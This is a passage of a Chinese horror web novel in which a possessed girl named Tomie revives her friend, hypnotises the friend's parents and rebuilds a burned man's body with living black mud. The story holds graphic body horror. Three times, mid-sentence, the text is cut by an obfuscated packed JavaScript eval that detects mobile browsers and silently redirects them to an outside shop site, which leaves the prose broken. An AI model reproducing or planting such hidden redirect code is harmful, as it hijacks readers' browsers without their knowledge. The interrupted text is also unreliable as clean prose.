他下意识低头,却在对上女孩眼睛的那个瞬间,狠狠地打了个激灵。 “富江”正在专注地看着他。 那是他之前在这个“富江”脸上从未见过的神情。 女孩的眼睛是很美的,在阳光下宛如闪着光泽的黑珍珠。 但此刻,那漆黑的瞳仁,就像两个深不见底的黑洞,一旦对上视线,便会毫无办法地被吸进去。 “……好吧。” 拒绝的情绪减弱了很多,男人点了头。 “但首先,我们要给你和她换件新衣服。” 在小泉凌拿衣服回来前,富江就这么搂着泉泽月子,安静地坐在佐伯家。 寂静的房屋中,传来了一声细微的猫叫声。 富江抬起脸,看到了二楼楼梯扶手处蹲着的,没穿衣服的小男孩。 失去了母亲和其他咒怨的他,现在只是个掀不起风浪的小家伙罢了。 “……是你妈妈先动手的,小弟弟。” 女孩爱怜地抚摸着好友的脸颊,又看向小男孩。 “继续做坏小孩的话,可会被吃掉的哦。” “你在跟谁说话?” 富江回过头,看到小泉凌已经拿着两套衣服回来,而楼上的男孩则消失了。 “和住在这个家的小弟弟说话,他的猫不见了,所以一直在找。” 小泉凌的眉头都能锁死一只苍蝇了,他往二楼看了一眼,没看到什么东西,便蹲在地上,开始帮月子和富江换衣服。 “一会儿我会开车送你俩去医院。” 男人向富江嘱咐着。 “我不会待太久,你去联系这孩子的父母。另外,如果别人在医院问起来,记住告诉他们,是你找到她的。” 换上干净衣服的月子沉睡在富江的膝头,她没有问为什么,哼了一声,全当答应了对方。 离开佐伯宅的时候,富江带走了那柄漆黑的匕首。 特斯卡特利波卡已经离开,这把匕首就成了能够追查他的唯一线索。 富江虽然没什么社会经验,但也不傻。这把黑色的匕首上虽然没有什么特殊的力量,造型却很独特,像是异国的东西。 “至于我是谁——不久之后你自然就会知晓” 男人在游乐园时说的话回荡在女孩的脑海中。 车辆发动,众人离开了佐伯家,富江看着靠在自己腿上呼吸平缓,却一直没有醒来的月子,握紧了手中的匕首,浓重的黑红色在她的眼底蔓延。 “……你,不会骗我的,对吧?” 她轻声自言自语着。 不过,就算他真的骗了她也没关系。 无论如何,她总是要找到他的。不管花费多久,无论他躲到哪里,她也一定会找到那个男人。 黑车不一会儿便到达了目的地。大城市的好处就是即使到了深夜,医院也依然敞开大门营业。 值班保安本来看到小泉凌的脸还吓了一大跳,瞥见昏迷的泉泽月子和富江,立刻呼唤起了医生。 看着医生将泉泽月子带走之后,富江呆愣愣地在原地站了一会儿,等护士叫她名字,才发现帮她把女孩子抱进来的凌叔叔人已经消失了。 他的面貌太特殊,向来不喜欢出现在众人面前。所以之后的事,都得富江自己解决。 “对了,要给月子的爸爸妈妈打电话……” 泉泽家的父母来得非常快,富江电话拨出去过了一小时不到,夫妻俩就双双抵达了医院。 “月子——!” 憔悴的中年夫妻一到医院就冲进了病房,查看女儿的情况。 富江安静地站在一旁,看着平时温柔和善的月子妈妈崩溃地大哭,身边穿着西装的中年男人一边询问医生,一边手忙脚乱地安慰女人。 她去过月子家,看过他们的全家福,那是月子的爸爸。 她从佐伯伽椰子的记忆中看到过她家里的情况,和泉泽家完全不同。 “啊,这边才是比较常见的吗?” “……富江?” 女孩自言自语的声音惊动了还在哭泣的中年女人。 憔悴的女人立刻像是抓到了一根救命稻草一般冲到了她面前:“是你给阿姨打的电话对吧?月子……你知道月子发生了什么吗?” 平日里对自己慈眉善目的女人此刻头发凌乱,双眼充满血丝,抓着她胳膊的手力道也很大。 对于富江来说,现在的泉泽夫人有些陌生。 “不知道。”她遵循小泉凌的教诲,摇了摇头。“我也是接到了月子的电话,才知道她来了东京。” 之前富江失踪,他们家一直对外宣称的理由是因病休假,泉泽月子更是没跟自己家里人乱说,这个理由很顺利的博得了对方的信任。 “我很担心月子,就去找她,她昏倒在练马区的一栋废弃的民居里。” “练……练马区?” “嗯,那幢房子很久没人住了。”想了想,她又补充了一句。“门口的牌子上写着‘佐伯’。” “什——?!” 话音刚落,富江看到本来还在专注地盯着她脸的月子爸爸面色陡然一变,僵硬地朝她笑了一下,紧接着便找了个借口把自己妻子拉了出去。 夫妻二人在外面说起了悄悄话。 不过他们声音再小,也逃不过富江的耳朵。 “那栋屋子是凶宅!” “什么?” “练马区佐伯家,那栋房子是个凶宅,自从原主人一家横死,经手那栋房子的人就全都莫名其妙死了。” “你什么意思,月子还昏迷不醒,现在又说这些怪力乱神的话!” “我没有瞎说,是真的!公司里人人都知道那地方邪门,之前还有人带客户进去,没多久就都死了。说,说不定那孩子不醒就是因为——” “月子不会有事的。” “……诶?” 争论不休的夫妻停下来,看向已经走出病房的女孩。 “富,富江?” 女孩平静地看着眼前的人类:“那栋屋子什么也没有。” 现在,那栋房子已经不再是凶宅了。 致使它化作凶宅的原因,那些孽缘,怨恨,因果,已经统统被富江吃进了肚子。 现在也因为她受伤,被消化了个七七八八。 那份力量,那股咒怨,那像是病毒一般能迅速传播的诅咒之力,已经是属于她的东西了。 “富江,不好意思啊,月子现在还昏迷着,所以——” “我说过了,月子,不会有事的。” 脑海中充斥着生物的哭嚎,医院里,诱人的香气不断飘散着。女孩双眼一眨不眨地看着面前的男女,声音微微下压。 “那栋房子里,什么也没有。月子也不会有事。” 她的语调很缓慢,像是有某种魔力一般,让听到的两人,神情也渐渐变得怔忡起来。 “是……是的……” “月子,不会有事。” 富江歪歪头:“冷静下来,好好休息一下。月子醒来的时候,需要你们陪在身边。” “不必害怕,无需忧虑,在她醒来之前,一直陪在她身边就好。” 看着二人缓缓点头,像是应了她的话一般,少女绽放出一个美丽的笑容。 “那这么晚我就不打扰啦,月子醒过来了的话,也请通知一下我哦。” 说完,还未 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14449367|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 等泉泽家的父母反应过来,黑发少女便头也不回地离开了医院。 大楼外,一辆漆黑的车正停在路边等着她。 “和那女孩的父母见面了?” 小泉凌正在车里等她。 “没被缠住吧?” “怎么会。”富江笑了笑,坐进副驾驶,系上了安全带。“叔叔阿姨对我很好,也很听话。我已经告诉他们月子不会有事了。” 男人有些不赞同地皱皱眉,最终还是什么都没说,发动汽车驶离了医院。 不过他并没有直接回镇上,而是将富江带到了东京近郊的一座公寓前。 因为四处调查的原因,加上容貌特异,小泉凌在好几个地方都有临时歇脚的住所。 这里就是其中之一。 作为临时住所,这栋公寓看上去有些老旧了,门口连管理室都没有,电梯也是那种古早的带着窗户的折叠铁门。 进大楼前,女孩向上看去,甚至没几家的窗户是亮着的。 小泉凌将富江带进了四楼最边边的一间屋子。 “今天太晚了,就先在这休息一下吧。” “这里是凌叔叔的家吗?” 女孩好奇地环顾四周,这幢公寓虽然看上去很老旧,内部装修却很新,房子内部也不算小,客厅厨房加上里面的卧室,一共有三个屋子。 “不是。” 小泉凌并不打算跟富江说太多,但对方显然不这么想。 见他似乎没兴趣和自己多说话,富江歪了歪头:“凌叔叔,是在生气吗?” 青年停下了手中的动作,但没动,也没回应。 只是他再回避,也无法逃脱富江的感知。她已经感觉到,男人身上逸散出了好闻的味道。 于是她笑了起来:“为什么会生气?” “你居然还会问这种话?” 将手中的行李——装着血衣的提包扔到沙发上,小泉凌转身,第一次用含着怒气的眼睛看着富江。 “发生了这种事,我怎么可能不会生气!” 虽说被其他恶灵缠上是在意料之外,但眼前的“富江”频频打破他们平静的生活不说,如今还差点闹出人命。 他的忍耐也快要到极限了。 “你自己去那幢凶宅也就罢了,为什么要告诉那女孩?” “不是我。” “什么?” 两人刚进屋,只有玄关的灯亮着。昏暗的灯光下,小泉凌从女孩脸上看到了以前从未见过的神情。 平日那种飘渺又懵懂的笑容消失了,昏暗的灯光下,她瞳仁的颜色逐渐变深,像是两个漆黑的无底洞。 “月子是人类,被咒怨缠上,会死。” 富江垂下眼帘,似乎在想什么事。 “我是一个人去的,叔叔也知道,我还让你跟月子传话,不是吗?” “那为什么——” 话音未落,屋内的温度骤然降低,同时,玄关的灯也开始忽明忽暗起来。 “有人,找到了月子,还告诉了她我在哪。” 富江伸出手。 “是那个人做的。” 闪烁的灯光中,小泉凌看到女孩白嫩的掌心忽然变得漆黑一片,随后,一把样貌奇特的匕首从她的掌心中缓缓浮了出来。 “这,这是什么?” “挖出月子心脏的匕首。” “什——”男人瞬间失去了自己的语言功能。大概用了几秒时间,他才理解了富江所言之意。“怎么可能?!我见到你们的时候那女孩还好好的!” 但话一出口,小泉凌就后悔了。 因为他清楚的记得,泉泽月子被血染红的校服上有个破口,刚好就在左胸的位置。 但帮女孩换衣服的人也是他,所以他也记得,那女孩身上一丝伤痕都没有,只有血迹。 富江的嘴角诡异地向上扬起了一个弧度:“是我做的呀。 “我修补好了月子。” 屋内的气温持续走低,男人的身体甚至已经开始不自觉地发抖。 那种从佐伯家出来后诡异的违和感,终于得到了印证。 “富江”,变得和之前不一样了。 24. 第 24 章 屋内的灯光不断闪烁,女孩背后的影子像是扩散的水痕一般,逐渐变大,变深,伴随着灯光,蠢蠢欲动着。 富江的嘴角往下一撇,露出了悲伤的神情:“那家伙用匕首破坏了月子的身体,还取走了她的心脏。” “月子那么好,还是被那家伙骗到佐伯家来的,怎么能让她就这么死掉呢?” 说着,她又表情一变,嘴角微微上扬。 “所以我啊,完完整整地帮她补好了,不管是心脏还是那个伤口。” 小泉凌哑口无言。 并不是没见过匪夷所思的事情,但此时此刻,象征日常的,虚假的薄膜却被富江亲手撕开了。 曾经那隐隐约约的不安感,如今转变为了另一种感觉。 ——强烈的危机感。 然而被那不安的怪影笼罩,被面带笑容的女孩注视着,小泉凌知道,自己已经无法逃脱。 他只能站在原地,在富江的注视下,干巴巴地开口道。 “你……究竟是怎么做到的?” 要不是因为严重的烧伤将他的汗腺破坏殆尽,现在,冷汗恐怕已经早早浸湿衣服了吧。 富江没有回答这个问题,而是歪了歪头:“叔叔,其实你很讨厌我吧?毕竟,你被姐姐搞成了这副样子。” “你——” “我知道哦。”没等对方回答,女孩又道。“每次看着我的脸,叔叔身上就会散发出很好闻的味道。” 是恶意,是怨恨,是仇恨得到宣泄的,扭曲又醇厚的情感。 “你憎恨着姐姐。” 小泉凌的手指动了动:“……是又如何?” 他浑身僵硬,呼吸也变得急促了起来。 “那个女人,如果不是因为那女人,我根本不会落到现在这步田地。” 一提起川上富江,那股被压抑在心底的,浓烈的恨意便会不断地翻涌。 “但我也知道,那女人根本死不了,同样经历了大火,她却可以继续换张脸逍遥自在,而我——!” 他伸出手,狠狠抓着自己凹凸不平的脸。 “而我变成了这副不人不鬼的模样,什么都失去了!我怎么可能不恨?怎么可能?!我巴不得那女人下无间地狱,永远痛苦下去!” 富江只是安静地笑着,看着男人。看他像是爆发般地宣泄着自己的感情,感受着那股像是岩浆一般炽热的恨意。 一时间,屋内只剩下了小泉凌喘着粗气的声音。 “只有这些了吗?” 男人的嘴唇歪曲了一下:“什么意思?” 自从失踪归来,富江的行为举止就变得很奇怪,这让小泉凌心生警惕。 最初他针对川上富江的复仇其实很简单。 那女人不老不死,即使被杀,伤口也会愈合。若是被分尸,则会像是软体动物一般直接分裂出多个人。 小泉凌去了很多地方,最终取得了富江的血液,将这些血液分到了不同的婴孩体内,让她们变成了新的川上富江。 他要看到这个不老不死,最在乎自己的美貌,自私又恶毒的女人缓缓老去却又毫无办法的样子。 这不是个聪明办法,甚至很花时间。但这确实他作为一个普通人类能想出的,管用的法子。 但这个时候,“祂”出现了。 虽说是川上富江自己玩火自焚,召唤出的超自然存在。但“祂”却从另一个方面,实现了他和保子的愿望。 “祂”取代了富江。 那绝顶的美貌,受人瞩目的人生,全都被“祂”夺走了。 一想到真正的川上富江还在“祂”体内,看着自己的人生,美貌,所有的东西都被窃取,狂怒却又毫无办法的样子。被大火灼烧,直到现在也会隐隐作痛的旧伤都会舒服很多。 但复仇的快///感之后,逐渐冷静的大脑中,理性却又在提醒他。 为了报复富江,求助于新的超自然之力,无异于与虎谋皮。 “祂”并不像表现得那般一样,是个无害的东西。 富江缓缓地动了。 “复仇是你最大的愿望,但其实,你心里还藏着别的东西。” 她走到小泉凌的身边,看着这个消瘦而高挑的男人,伸出手,抚摸着他漆黑的外套。 “我知道的,叔叔,我全都知道。” 话音刚落,男人便往后退了一步。富江的手指也离开了他的衣服。 她并没有感到不愉快,只是微微仰头,笑吟吟地看着男人:“我不是帮叔叔实现了愿望吗?” 是的,虽然每次看到她的脸,她的凌叔叔身上就会飘散着浓重的恨意。但其中,还夹杂着另一种奇妙的味道。 “为什么,这么害怕我呀?” 恐惧的味道。 男人憎恨川上富江。 却对她充满恐惧。 为什么? “我实现了你的愿望,也做了个乖孩子,为什么还是怕我呢?” 她不理解。 “告诉我呀,叔叔。” 她脚下的影子不断扩散着,蔓延到墙面上,变成了诡异的,不断蠕动着的什么东西。 “……因为我们是不一样的。” 小泉凌的嗓音听上去像是在沙漠中旅行的,缺水的旅人一般,喑哑得像是被沙砾磨过 “人类总是对未知怀有恐惧,就是这么简单。” 说出这句答案的瞬间,攀附在墙面上诡异的影子消失了,玄关不断闪烁的灯也恢复了正常。 那种冰冷的,让人喘不过气的压力减轻了许多。 “嗯……” 富江苦恼地撅起嘴,小泉凌没有撒谎,但她还是无法理解这个逻辑。 “好吧,看来我学得还不够多。” 小泉凌松了一口气。 但下一秒,他只觉得脚下一紧,还没来得及低下头,一股诡异的力量包裹住他的双腿,将他往地上狠狠一扯! 一阵天旋地转后,男人摔倒在地。 诡异的是,他身体接触到的却并非坚硬的地板。而是柔软的,粘稠的,像是液体一般的东西。 “什……什么?!” 小泉凌挣扎着低头,看到了包裹住自己的,黑红色的“泥”。 在墙上不断蔓延蠕动的影子并没有消失,它们只是全都移动到了地面上。 在不知不觉间,这些东西已经把整个房间的地面全都淹没了。 “所以,我必须得更努力点,不然,别说自己是什么东西了,就连那家伙的衣角都抓不上。” 黑泥已经包裹住了小泉凌的手脚让他动弹不得,而富江,她的神情丝毫没变,依然笑吟吟的,居高临下地看着已经变得惊慌失措的男人。 “无能为力的感觉很不好,我理解的,叔叔,因为我也有同样的感受。” 那种危机感再度爆发,小泉凌挣扎着,试图甩掉包裹缠绕自己四肢的泥。 “你要做什么?放开我,富江,富江!!” 黑红色的泥不断涌动着,发出咕嘟咕嘟的声音。它们蠢动着,凝聚着,在男人的身边化作一条条碗口般粗的“黑蛇”。 黑红色的蛇们,包围了疯狂挣扎的男人。 “我不是说过吗?” 富江蹲下身,白皙柔软的手指轻轻抚摸着男人因烧伤变得凹凸不平的皮肤。 “不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14467043|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管你有什么样的愿望,我都会帮你实现。” 随着她的声音,无眼的“蛇”猛然震动了一下,瞬间,黑红色的躯体上睁开了无数的“眼睛”。 不同的颜色,不同的形状,甚至不同生物的眼睛。 女孩弯着眼睛,充满爱意地看着躺在地上的男人。 “因为,我是你们的‘富江’啊。” 话音刚落,那些满是眼睛的“蛇”瞬间动了起来,争先恐后地涌向了惊慌失措的男人。 黑泥不断地包裹吞噬着他的身体,而那些蛇,它们顺着嘴巴,耳朵,眼睛,鼻孔,源源不断地涌入了男人的体内。 男人发出含糊的悲鸣,手脚也开始不自觉地抽搐着。 在黑泥流进小泉凌体内的瞬间,富江便接收到了他压抑在内心深处的,浓厚又扭曲的情感。 对富江的怨恨,对自己无能为力的愤怒,对那些健全之人的嫉妒,最后,是对健全之人投向自己眼神的憎恶。 饥饿感得到了满足,女孩陶醉地捧着脸,圆润白皙的脸蛋上浮现出了红晕。 “我就知道,嘿嘿,真的好好吃啊。” 恍惚间,身下传来了一股淡淡的铁锈味。 “诶呀……” 不知道是因为痛苦,还是因为不断抽搐的同时被黑泥侵蚀,小泉凌身上的旧伤纷纷裂开。 鲜血逐渐洇湿了他的衣服,沾染到了地板上。 富江看着指尖染上的,尚且湿润的红色液体,伸出舌头舔了舔。 和闻到的一样,咸咸的,有股铁的味道。 “这可不行,叔叔要坚强一点。” 说着,她坐到了地上,伸开双臂,抱住了已经被黑泥从里到外填满,连声音都发不出,只能不断抽搐的男人。 “现在死了,愿望就没法实现了哟。” “玩耍也要记得度。” 因为汲取到了养分而感到快乐的脑中忽然闪过了一道声音。 特斯卡特利波卡的脸浮现在富江的脑海中,这让她微醺的脑袋稍稍清醒了一些。 身体的热度降了下去,连面前的美味似乎都变得没味道了。 富江轻轻哼了一声,涌动的泥似乎也变得缓慢。 它们不再横冲直撞,而是开始温柔地游走在已经痛苦得濒临崩溃的男人体内。 与心脏被挖的泉泽月子不同,小泉凌的伤虽然不严重,却已经是陈年旧伤。 现在的富江并不会修复这种伤口,只能采取更为简单粗暴的方法。 让黑泥吞噬掉表面那一层满是增生的旧皮,再像修复月子那般修复着男人的体表。 不过,人类确实很脆弱。哪怕只是这种程度,小泉凌的精神也已经到了临界点,马上就要彻底坏掉了。 “这可不行。” 富江很喜欢这位凌叔叔,因为在身边的这群人里,只有他,从始至终,对川上富江的恨意,与对她的恐惧都是那么鲜明。 但即使如此,他还是愿意教自己各种人类的常识,甚至承担起了照顾自己的责任,帮她找各种各样的资料和线索。 既然承了别人的恩,就要还这份情才可以。 这是她从学校课本上学到的东西。 想到这,富江躺到男人身边,伸出手指,搭在了他的太阳穴上。 接触到皮肤的一瞬间,女孩白皙的手指变成黑红色,与男人的皮肤相融合,一点点伸进了他的脑袋里。 这让小泉凌身体的抽搐程度减弱了。 女孩笑了笑,在对方的额头上轻轻落下一吻。 “晚安哦,叔叔,做个好梦。” “等明天醒来,你的愿望就会实现了。” 25. 第 25 章 男人是被清晨耀眼的阳光给弄醒的。 意识回笼的瞬间,他产生了一种恍惚的,自己可能是做了个噩梦的感觉。 然后下一秒,皮肤接触柔软布料的触感让他彻底清醒了过来。 小泉凌猛然坐起身,发现自己竟然躺回了公寓的床上。 男人本想确认一下周围的情况,却在低头看到自己身体的那一刻,愣住了。 映入眼帘的,并非被火焰燃烧后,满是疤痕增生的暗红色表皮。而是光滑又健康的,属于正常人的,再普通不过的皮肤。 有那么几秒钟,他的脑袋陷入了空白状态。 “诶呀,你醒了啊,叔叔。” 一道甜美的声音自身侧响起,小泉凌回过神,一扭头就看到了抱膝坐在一边的富江。 “感觉怎么样?有没有哪里不舒服?” 女孩还穿着昨晚的那身衣服,一动不动地坐在那里,黑珍珠般的眼睛专注地看着他。 她究竟看了自己多久? 意识到这一切不是梦的瞬间,小泉凌的身体自己动了起来。 他像是恶狼一般向少女冲了过去,双手扼上她纤细脖颈的瞬间,因为力道太大,甚至将富江重重地撞倒在地。 头部受到如此力道的撞击,普通人类早就当场昏迷过去了,但富江没有。 “唔……在,干什么?” 明明是自己被掐着脖子摁倒在地,但她却像是没事人一样,朝男人眨眨眼,笑了。 “叔叔为什么,又生气了?” “你对我做了什么……?!” 脖颈处的双手力道很大,大得女孩说话的声音都变得嘶哑起来:“我,完成了,你的愿望……” 喉咙发出了咯咯声,到最后甚至连声音都无法发出。但即便如此,富江却笑容依旧,白皙的脸蛋甚至没有因为缺氧涨得通红。 就好像她根本不用呼吸一样。 愤怒的感觉消退了,随即而来的,则是沁入骨髓的恐惧感。 看着女孩满是笑意的漆黑眼眸,理智逐渐回到男人的脑海中。 他正想松开掐着富江的双手,只觉肩膀一暖,两条柔软又细腻的手臂圈住了他的脖颈。 “叔叔还真是讨厌我,为什么? 富江搂着男人,将他的脸拉向自己 “因为害怕?还是因为……喜欢姐姐呢?” 小泉凌一惊,猛然撇开双手,挣脱了富江的拥抱,站了起来。 激烈的情感褪去,理智回笼,他才后知后觉地意识到,自己此刻并没有穿衣服。他连忙扯过床边的衣服裤子套上。 富江则是站起身,慢条斯理地整理了一下拉扯中变得凌乱的长发,又向怨恨地瞪视自己的青年投去了一个甜美的微笑。 虽然修复是个大工程,但小泉凌身上浓烈的,溢满了整间屋子的负面情感也让她得到了满足。 富江很喜欢这位帮助过自己的叔叔。 所以,这次她不打算退让。 “难道不是吗?”女孩的笑容甜美,脖子上明明还留存着青紫色的掐痕,却看上去像个没事人似的。“叔叔,我知道的,你还记得姐姐。” 并未吞噬掉小泉凌对川上富江的恨意,只因为那其中夹杂着复杂的,近乎扭曲的爱意。虽然不如月子的纯真,吞噬掉那扭曲的感情也足够她元气大伤了。 “一派胡言!” 面对富江,小泉凌第一次表现出了激烈的情感。 “你懂什么,那女人毁了我的一切,一切!” 他抓着自己的脸,如今,皮肤虽然已经回来,容貌也恢复成了当年的状态。但那种曾经被火焰灼烧,被尖刀刺破面皮,绝望又痛苦的感觉依然萦绕在他的心头。 “只是因为我说了几句不好听的话,就只是因为这个,她就是个恶毒自私的——你在做什么?!” 不怪男人如此惊慌,因为富江的脖子与肩膀的衔接处,开始有东西像是要破土而出一般地不断蠕动,隆起。 一个“肉瘤”在短短几秒内,从她的脖子上长了出来。 但下一秒小泉凌就意识到,那并非肉瘤。 “……啊……啊……呜啊——!” 那是,某个人类的头颅,以“肉瘤”的状态,出现在了女孩的脖子上。 “小……泉……小泉——君——” 肉瘤的脸尚且没有完整的形状,可以被称之为嘴的地方,冒出了模糊的音节。 男人一下就认了出来。 错不了,那个声音,那个语调,那眼角下的泪痣。 那是川上富江。 “叔叔真是,总是不承认,我也很苦恼。” 而那个顶着富江皮囊的,曾经不知名的“怪物”,如同纯洁的少女般微笑着。 “你看,我帮你把姐姐叫出来了哦。” 肉瘤痛苦地呻///吟,不断地挣扎着,撕扯着女孩脖子上的皮肉。原本白嫩的皮肤因为承载着多余的肉块,终究是承受不住,崩裂了开来。 鲜血不断顺着两个脑袋的接缝处流下,将干净的衣服染成一片深红色。 然而“富江”的神情却还是那么平静,带着笑容,像是丝毫感觉不到疼痛一般。 “怎么样,高兴吗?” 小泉凌的面容扭曲了。 “小……泉,小泉君……!” 肉瘤越来越大,声音也越来越清晰,没过一会儿,另一张属于川上富江的脸,出现在了“富江”的脖子上。 “啊啊,真的是小泉君,我,我好想你啊。” “富江。” 男人的额头上全都是汗,明明那样恐惧,明明那样厌恶那个女人,但在听到对方叫出自己名字的那一刻,他还是动摇了。 “你,还记得我?” “当然,当然了!小泉君,对不起啊,我之前,说了,过分的话。” 女孩甜美的声音颤抖着,充满了哀怨。 “还害得你受了这么重的伤,我一直以来都在反省,真的,果然,我还是喜欢小泉君。” 掌握着身体主导权的“富江”并没有说话,而是歪着头,作为一个安静的旁观者,注视着二人的行动。 男人笑了起来:“你说你,喜欢我?” “是啊……”肉瘤无法转过头来正对着青年,只能用那双满是血丝的大眼睛斜着看他。“因为小泉君以前那么帅气,年轻有为,但,对我却很温柔。” 赞美之词源源不断地从人面口中流出,配合那甜美得发酥的声音,连听到的旁人可能都会对二人甜蜜的过往感到羡慕。 然而这时,川上富江的声线一变,凄惨地哭了起来。 “呐,呐,小泉君,我真的好痛,好痛啊。” 她啜泣着,眼中滚落了血滴。 “在这个身体里,我什么都做不了,连自由都没有,这个怪物,她甚至让我‘看’着她偷窃我的人生,我的全部。好过分,真的太过分了,我也,我也想再一次拥抱小泉君啊!” 被称为怪物的女孩看向了屋内的另一位当事人。 全身的重度烧伤被彻底治愈后,青年一改曾经可怖的样貌。他身材修长,个子高不说,手脚与身体的比例也很好。 月子喜欢摄影,所以富江从她那里获取了不少有关摄影和“美”的知识。 虽说不及那位金发的特斯卡特利波卡,但她的小泉叔叔在普通人里也确实可以被称为帅哥了。 但富江并不觉得这样的叔叔,会和她家那位麻烦的姐姐发生什么浪漫的故事。 因为记忆里根本就没有嘛。 “小泉君,帮帮我吧小泉君。” 耳边传来了姐姐絮絮叨叨的声音。 “把我从这个怪物手里拯救出来,只要一下,只要一下就好,把我从她身上分离出来,这样我们就——” “住口!!!” 男人的一声怒喝打断了川上富江的哀鸣。 同时,他像是一只狂怒的狮子一般,冲到了富江面前,将她整个人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14480451|152321||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 狠狠惯到了地上! 而他手上,还握着刚才怒吼着扑过来时,随手抄起的,桌上的剪刀。 “你这该死的!满嘴谎言的女人!” 小泉凌红着眼睛,将手中尖锐的剪刀狠狠捅进肉瘤的眼睛里。 霎时,鲜血喷溅。 然后,不等对方惨叫,男人拔出剪刀,又狠狠一刺,将尖刃戳进了对方的嘴里。 “说什么喜欢我,你根本就没有记起我是谁吧!” 一刀,又一刀。男人用剪刀不断戳刺着肉瘤,任凭鲜血溅得他满脸满身,也没有停下。 “就因为我嘲讽你不配做模特,你就叫人划花了我的脸。” “哈哈,我们交往?明明是我在追你!而你永远都是那副高高在上看不起人的样子!” “什么都不记得,还拿那套话来敷衍!” “贱人!贱人!!都是因为你我才会毁容!才会变成那个人不人鬼不鬼的样子!” “凭什么?凭什么我什么都没有了,你还能在那场大火里活下来,还能重生?凭什么?!!” 鲜血将男人染得通红,他疯狂咒骂着,两行泪从眼中滚落。 “当初那个怪物被你们召唤出来,夺走你身体的时候我就在旁边!” 说到这,小泉凌忽地笑了起来。 “我的人生,无数人的人生都被你给毁了,而你,就算死了也能复活,被分尸了甚至还能分裂……凭什么?凭你是个怪物吗?” 他狠狠将剪刀扎到早已血肉模糊,看不清五官的肉瘤上,笑得咧开了嘴,笑得眼泪都止不住了。 “活该啊,川上富江,这是你应得的,是报应。” “哼……原来是这样啊。” 类似的声音在耳边响起,小泉凌回过神来。 血海之中,脖子被刺得血肉模糊,浑身已经被染成红色,连脸都被扎破了半边的女孩看着他,一如既往地微笑着。 “姐姐以前还真是过分,对不起啊叔叔,我替她向你道歉。” 短短几秒,利刃刺破的皮肉就已经在缓缓愈合了。 只是这次,那颗人面瘤并未再次出现。 毕竟川上富江早就丧失了对身体的主导权,就连这场对峙,也是侵占她身体的“富江”自发做出的放任行为。 “……你赢了。” 身下的女孩早已变成一片血红,即使如此,她还是在笑着,看向他的眼神中甚至没有一丝怨恨。 就像一个被毁坏了半张脸,脖子上缺了一大块,却依然还在微笑的洋娃娃。 怪异,阴森,恐怖。 但却依然美丽。 小泉凌扔掉剪刀,瘫坐在了富江的身边。 “从今往后,我什么都听你的。” 刚刚看着富江时有多疯狂,如今的他就有多疲惫。 “只要,你还是‘富江’。” 他要看着。 看着那个恶心的女人被压制在她自己体内,被迫看着他人享受着她的美貌,万人的追捧,以及长生不老。 一想到真正的川上富江无时无刻都会被气得发狂,他就只想畅快地笑一通! “嗯,那就一言为定。” 富江坐起身,脖子和脸上的伤口已经愈合得差不多了。 “唔,不过,真的什么都可以吗?” “……” 知道自己得到了默许,美丽的女孩露出了欣喜的笑容。 同时,满是鲜血的地面上,黑红色的淤泥不断地从地板缝和阴影中冒了出来。 富江伸出双臂,环住了青年的脖子。 “叔叔,我现在好饿啊。” 那些黑红色的泥不断聚集,攀附到了二人身上,将他们包裹住。 “放心,我会很温和的。” 美丽的女孩露出了欣喜,陶醉的笑容,缓缓吻住了青年的唇。然后,她体内,那些翻滚的泥开始源源不断地涌入对方的身体中。 “不会让你再感到痛苦了。” 26. 第 26 章 在富江成功修复小泉凌样貌的第二天,泉泽月子苏醒了。 按照富江的要求,在女儿苏醒之后,泉泽夫妇拨通了川上家大宅的电话。 富江并未和小泉凌离开东京,接到通知,自然是迅速来到了医院。 月子苏醒的这天刚好是个好天气,明媚的阳光照在黑发少女身上,她的黑发宛如光泽上好的黑珍珠,皮肤白的像是牛奶,美丽的容貌让无数路人驻足回眸。 今天的富江很开心,饥饿得到满足,月子也苏醒了。 虽然特斯卡特利波卡的事情终究还是个有待解决的问题,但起码现在,她的生活即将回归正轨。 “叔叔,阿姨,打扰了。” “诶呀,这不是小富江吗。” 似乎是因为女儿醒了,泉泽夫妻俩今天气色看上去很不错。 “谢谢你能来看望我们家月子,也多亏你当初找到她。” 说完,泉泽太太看向跟在女孩身后的男人,疑惑地问道:“请问这位是……?” 不知道是不是因为这么多年的痛苦挣扎,虽然已经恢复了过去的容貌,小泉凌的气质却比常人要阴郁很多。如今也依然穿着他那身黑衣,戴着高高的帽子,遮住了大半张脸。 这也是为什么众人纷纷围观富江的时候,却无人将目光放在他身上。 “他是我家的叔叔。”富江笑着向夫妻二人介绍,“我爸爸身体不是不好吗?再加上我未成年,所以家里一直都有一位叔叔在帮忙打理家务。” “原来是这样……” 虽然得到了解释,但夫妻二人显然对陌生的男人有些戒备。 